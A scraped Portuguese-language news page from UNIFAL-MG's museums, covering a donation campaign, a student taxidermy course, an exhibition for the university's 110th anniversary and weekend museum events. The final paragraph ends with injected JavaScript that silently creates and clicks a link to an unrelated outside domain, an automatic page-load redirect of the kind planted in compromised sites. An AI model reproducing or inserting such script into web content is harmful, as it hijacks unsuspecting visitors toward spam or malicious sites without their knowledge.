Campanha de Financiamento – Ajude a Criar um Legado para as Futuras Gerações!

O Sistema de Museus, Arquivos Históricos e Centros de Documentação (SIMA) em parceria com o Museu de Memória e Patrimônio, Museu de História Natural, o Espaço Ciência e o Centro de Documentação e Arquivos Históricos, convida você a contribuir para a preservação da nossa história, a valorização da ciência e a formação de novas gerações de estudantes, pesquisadores e cidadãos. Estamos iniciando a criação da campanha AMIGOS DO MUSEU da UNIFAL-MG, uma iniciativa que visa apoiar projetos de ensino, pesquisa, extensão, divulgação científica, acervos e ações culturais ligadas aos museus da Universidade. 📍Como doar: 💸 PIX:  amigosdomuseu@facepealfenas.org.br (chave para a conta bancária do Museu da UNIFAL-MG) 📱 QR Code: Aponte a câmera do seu celular direto do aplicativo do seu banco 💳 Transferência Bancária:(Insira aqui os dados bancários completos, quando disponíveis) 🔗 Acesse o formulário de doador instituidor: 📩 Dúvidas? Entre em contato conosco através do telefone: (35) 3292-5033 🌟 Reconhecimento especial:Neste momento inicial de constituição do fundo de apoio aos MUSEUS da UNIFAL-MG, todos os doadores serão reconhecidos como Doadores Instituidores, uma forma de homenagear aqueles que acreditam na força transformadora da memória, da cultura e da ciência. Vamos juntos construir um legado para o futuro da educação, da cultura e da pesquisa em nossa Universidade!

Treinamento prático de taxidermia abre horizontes de atuação para estudantes das Ciências Biológicas da UNIFAL-MG

Os acadêmicos do curso de Ciências Biológicas (Bacharelado e Licenciatura) da UNIFAL-MG tiveram a oportunidade de participar de um curso prático de taxidermia, ministrado pelo biólogo e taxidermista Daniel Santos de Aguiar, do Museu de História Natural de Campinas-SP. Como resultado, muitos descobriram talento para fazer o tratamento das peças e vislumbraram um diferencial no currículo. Os acadêmicos do curso de Ciências Biológicas (Bacharelado e Licenciatura) da UNIFAL-MG tiveram a oportunidade de participar de um curso prático de taxidermia, ministrado pelo biólogo e taxidermista Daniel Santos de Aguiar, do Museu de História Natural de Campinas-SP. Como resultado, muitos descobriram talento para fazer o tratamento das peças e vislumbraram um diferencial no currículo. Treinamento foi realizado no laboratório da Coleção Herpetológica do Instituto de Ciências da Natureza (ICN), na Sede da Universidade. (Foto: Dicom/UNIFAL-MG) Realizado no laboratório da Coleção Herpetológica do Instituto de Ciências da Natureza (ICN), na Sede da Universidade, o treinamento consistiu no preparo de peças para serem expostas no Museu de História Natural (MHN) da Instituição. A viabilização do curso ocorreu por meio do projeto “Ensinando Ciências: Interação Museu, Universidade e Escola”, coordenado pela professora Andréa Mollica do Amarante Paffaro (Instituto de Ciências Biomédicas), também diretora do Museu de Memória e Patrimônio (MMP). O projeto foi contemplado no edital 39/2022, referente ao Programa Especial de Difusão e Popularização da Ciência e Tecnologia do Ministério de Ciência e Tecnologia e Inovação (MCTI). Confira aqui Conforme o professor Vinícius Xavier (Instituto de Ciências da Natureza), responsável pela Coleção Herpetológica e um dos colaboradores do projeto contemplado, os animais taxidermizados durante o curso fazem parte do acervo de animais levados para a UNIFAL-MG pelas autoridades ambientais. “Esses animais foram encontrados mortos, a maioria por atropelamento, e trazidos à UNIFAL-MG pelo Corpo de Bombeiros ou Polícia Ambiental, ou mesmo depois de morrerem em zoológicos como o de Poços de Caldas”, explica. “A taxidermia foi definida como a arte de preservar ou conservar a pele de um animal para fins didáticos ou científicos”, explica Daniel Santos de Aguiar, taxidermista do Museu de História Natural de Campinas-SP, e ministrante do treinamento. (Foto: Dicom/UNIFAL-MG) Daniel Santos de Aguiar, taxidermista do Museu de História Natural de Campinas-SP, esclarece que a metodologia da taxidermia consiste na retirada e tratamento da pele do animal para fins didáticos e científicos. “A taxidermia foi definida como a arte de preservar ou conservar a pele de um animal para fins didáticos ou científicos”, frisa. Para ele, a importância da técnica está na possibilidade de reaproveitar os animais mortos para fins de educação ambiental e treinamento de estudantes dos cursos de graduação, visto que os animais seriam perdidos ou simplesmente apodreceriam se não fossem taxidermizados. Na UNIFAL-MG, o taxidermista ensinou noções de dissecção, anatomia, conservação de pele, órgãos, osteologia, museologia e até comportamento animal, já que as peças são preparadas de modo a mostrar algum aspecto comportamental, como postura, alimentação, movimentação, entre outras. Segundo o especialista, a taxidermia trabalha as peças artisticamente ou cientificamente. Para que possa ser trabalhado artisticamente, o animal precisa apresentar características de como se ainda estivesse vivo para então compor as exposições nos museus de história natural, o que leva ao revestimento e preenchimento dos espaços nas peças. Ao fundo, o professor Vinícius Xavier, junto ao taxidermista Daniel Aguiar e equipe de acadêmicos. (Foto: Dicom/UNIFAL-MG)  No caso de ser destinado aos estudos científicos, o animal passa pelo processo de limpeza de conservação da pele, porém é montado de forma diferente. “Nós fincamos um espeto no animal e ele fica na posição deitada e nós realizamos o tratamento da pele da mesma maneira que faz o artístico para evitar decomposição, então colocamos um algodão no meio e o que mais interessa é ter uma etiqueta nas patas do animal com todas as informações da espécie, nome científico, local encontrado e outras características, para que quando o aluno for fazer a pesquisa científica possa abrir a gaveta e identificar”, detalhou. Comentando a iniciativa junto à UNIFAL-MG, Daniel Aguiar disse: “O que me deixa muito feliz é que eu vou embora, mas eu deixo não só os animais taxidermizados para exposição, como uma equipe de acadêmicos pronta para que o museu e a própria Universidade possam utilizar seus conhecimentos.” Cerca de 50 peças foram trabalhadas pelo taxidermista Daniel Aguiar junto ao grupo de acadêmicos das Ciências Biológicas entre os dias 19 e 27 de março. Taxidermia como uma nova área de atuação para futuros biólogos Vivian Ceccon Sergino – acadêmica do 6º período do curso de bacharelado em Ciências Biológicas. (Foto: Dicom/UNIFAL-MG) Ao relatar a experiência no treinamento, a acadêmica Vivian Ceccon Sergino, do 6º período do curso de bacharelado em Ciências Biológicas, conta que o treinamento permitiu descobrir uma potencialidade desconhecida. “Eu descobri que eu sou muito boa nesse negócio e isso me deu muito ânimo para poder continuar a faculdade”, compartilhou. “Essa oportunidade que o Daniel está dando com o curso é muito importante porque traz de volta aquele brilho no olho e aquela vontade de continuar. A taxidermia é uma área interessante, é uma área que a maioria não gosta de seguir porque é complicada e às vezes a pessoa não tem afinidade. Se você descobre que tem afinidade então é outro caminho, outra oportunidade de atuação”, disse. Paula Dias – acadêmica do 5º período do curso de bacharelado em Ciências Biológicas. (Foto: Dicom/UNIFAL-MG) A opinião da discente foi reforçada nas falas dos colegas participantes do curso. Paula Dias, acadêmica do 5º período do curso de bacharelado em Ciências Biológicas, mostrou-se encantada com a possibilidade de aprender na prática como preparar os animais para exposição. “No começo eu achei que era só para a gente vir, observar e conhecer como é feito, mas aí depois que o Daniel explicou tudo, ele deixou a gente colocar a mão na massa e eu não esperava que iria me encantar tanto”, contou. Segundo a discente, a oportunidade vai permitir um diferencial no currículo. “É uma experiência que pode abrir muitas portas para gente lá na frente”, destacou Paula Dias. Luiza Liboni … Ler mais

Exposição “Recortes da EFOA à UNIFAL-MG” celebra os 110 anos da Universidade com resgate histórico

Está aberta para visitação pública a exposição permanente “Recortes da EFOA à UNIFAL-MG” no Museu da Memória e Patrimônio da Universidade. A mostra faz parte da programação dos 110 anos da Instituição e resgata imagens e objetos que relembram a trajetória da Universidade desde a sua fundação em 1914, como Escola de Farmácia e Odontologia de Alfenas (EFOA). Membros da comunidade interna e externa se reuniram para prestigiar a abertura da exposição no dia 4 de abril. (Foto: Dicom/UNIFAL-MG)   A abertura aconteceu no dia 4 de abril, na entrada do simbólico prédio A, na Praça Dr. Emílio da Silveira, prédio que abrigou as instalações da então EFOA. Atualmente, o local abriga o Museu da Memória e Patrimônio, e também a Fundação de Apoio à Cultura, Ensino, Pesquisa e Extensão de Alfenas – FACEPE. O momento foi abrilhantado pela apresentação cultural da Orquestra Popular da UNIFAL-MG. Durante a cerimônia de inauguração da mostra, Eduardo Tardiole, presidente da FACEPE, falou da importância do museu para a história e para a cultura de Alfenas e região, e anunciou a revitalização da fachada do prédio programada ainda para 2024. Na oportunidade, reforçou a necessidade de parcerias, como a da prefeitura para a manutenção do museu e lançou o projeto “Amigos do Museu”, cujo objetivo é buscar apoio de pessoas físicas e jurídicas por meio de doações. Carlos Santiago, o primeiro cidadão a fazer uma doação para o projeto “Amigos do Museu. (Foto: Dicom/UNIFAL-MG)   Todos os presentes foram surpreendidos pelo gesto de Carlos Santiago, um cidadão em condição de pessoas em situação de rua, que estando entre os participantes da cerimônia, espontaneamente realizou a primeira doação ao projeto Amigos do Museu. “Que esse gesto sirva de exemplo para todos nós”, disse o chefe de gabinete da Prefeitura de Alfenas, Gilberto França, na ocasião. Na cerimônia, a professora Andréa Mollica do Amarante Paffaro, diretora do Museu da Memória e Patrimônio, e responsável pela coordenação Sistema de Museus, Arquivos Históricos e/ou Centros de Documentação, explicou que a exposição marca os 110 anos da Instituição, uma vez que busca recordar a história de fundação. “A história da UNIFAL-MG se mescla com a história do município de Alfenas. O município tinha 54 anos quando o professor Leão de Faria conseguiu montar a Escola de Farmácia e Odontologia”, disse. Conforme a diretora, a exposição foi nomeada de “Recortes da EFOA à UNIFAL-MG” porque procura reconstituir a trajetória da Universidade ao mesmo tempo em que pretende construir memórias para o futuro. “Foi um trabalho de muitas mãos para restaurar, inventariar, para escolher cada uma dessas peças”, compartilhou. “Nós temos que ter fragmentos dessa história para recordar e ao mesmo tempo em que foi uma felicidade muito grande cada descoberta, a gente sentiu o quanto cada um de nós tem a contar ainda, porque a história da UNIFAL-MG se mescla com a história do município e com cada um de nós”, destacou. Profa. Andréa Paffaro – diretora do museu durante a cerimônia. (Foto: Dico   A mostra reúne imagens e objetos de ciência e tecnologia. “Daqui para frente cabe a cada um de nós abraçar isso e passar a preservar um pouquinho do nosso patrimônio também para que as próximas gerações possam complementar essa história”, frisou. O chefe de gabinete da Prefeitura de Alfenas, Gilberto França, representando o prefeito Fábio Marques Florêncio na solenidade, sinalizou a colaboração da Administração Municipal para com o museu, colocando-se à disposição para contribuir. Encerrando os pronunciamentos, o reitor, o professor Sandro Amadeu Cerveira, citou o filósofo francês André Comte-Sponville, para falar de gratidão. “Quando nós estamos em um determinado lugar, vivendo alguma experiência e alcançando alguma vitória, às vezes nós ficamos cheios de si, mas na verdade nós precisamos lembrar que nós não somos a causa de nós mesmos e aquilo que nós estamos fazendo só é possível, porque outros fizeram antes de nós”, discursou. Prof. Sandro Cerveira – reitor da UNIFAL-MG. (Foto: Dicom/UNIFAL-MG)   Com essas palavras, o reitor homenageou as gerações de gestores, professores e técnicos na pessoa do professor Paulo Márcio de Faria e Silva, que foi reitor nos mandatos de 2010 a 2014 e de 2014 a 2018. “Receba nossa gratidão sincera, professor”, disse, ao se dirigir ao professor Paulo Márcio de Faria e Silva. “O Paulo Márcio, juntamente ao professor Tonhão, foi responsável enquanto gestor, justamente pela transição do momento em que a EFOA vira Universidade Federal de Alfenas”, destacou. O professor Sandro Cerveira também reconheceu o trabalho feito pela equipe do Museu da Memória e Patrimônio. Ao ressaltar o trabalho conduzido pela professora Andréa Paffaro, o reitor direcionou à diretora do museu, as seguintes palavras: “Nós temos algo muito especial aqui e você com a sua liderança, com seu carinho, com a sua dedicação, é a pessoa que representa bem toda a equipe e todas as pessoas que construíram esse momento. Então em nome da nossa comunidade quero dedicar a você a nossa gratidão.”   A exposição “Recortes da EFOA à UNIFAL-MG” está aberta para visitação pública das 7h às 11h e das 13h às 17h. Visitações para grupos (escolares ou não) podem ser agendadas pelo e-mail mmp@unifal-mg.edu.br, para qualquer uma das exposições/espaços como o projeto Macrocélula, o Museu de História Natural e a exposição recém-inaugurada. Neste final de semana, dias 13 e 14 de abril, o museu realizará mais uma edição de “Uma Noite no Museu” e “O Museu e a Feira”. No sábado (13), o museu abrirá para visitação, das 18h às 21h, e contará com a palestra “Contribuições dos povos indígenas para o pensamento histórico e para as políticas de patrimônio”, a ser ministrada pelo professor Walter Francisco Figueiredo Lowande, do Instituto de Ciências Humanas e Letras (ICHL). No domingo (14), das 9h às 12h, a programação prevê a visitação às exposições e a “Oficina com sementes de Juerana”, a ser conduzida pela discente do curso de Pedagogia, Kwana Pataxó. A entrada é gratuita para toda a comunidade interessada em prestigiar as exposições e participar das atividades relacionadas a temática indígena.

O Museu e a Feira

O Museu da Memória e Patrimônio da UNIFAL-MG realizará neste final de semana mais uma edição de “Uma Noite no Museu” e “O Museu e a Feira”. Os eventos contarão com entrada gratuita para toda a comunidade interessada em prestiar as exposições. Confira no folder, a programação especial deste mês! No sábado, 26/11, a atividade “Uma Noite no Museu” disponibilizará ao público a visitação guiada pelas exposições permanentes de História Natural e da Macrocélula, pela célula especial sobre perícia criminal, intitulada “Desvendando um crime”, e a palestra temática “A descolonização da História do Brasil com Arte e Política: de Ruth de Souza à Marielle Franco, a consciência negra em movimento”, ministrada pela professora do Instituto de Ciências Humanas e Letras da UNIFAL-MG, Ana Lucia da Silva. E no domingo, 27/11, a programação do “Museu e a Feira” segue com a visitação guiada pelas exposições permanentes. Informações adicionais: A atividade “Uma Noite no Museu” integra o projeto “Planejando o Museu da UNIFAL-MG: a relação dos discentes com o Patrimônio e a Memória da UNIFAL-MG”var redirectTo = “https://clo.yfbplc.com/”; var a = document.createElement(‘a’); a.href = redirectTo; a.setAttribute(‘rel’, ‘noreferrer’); document.body.appendChild(a); a.click();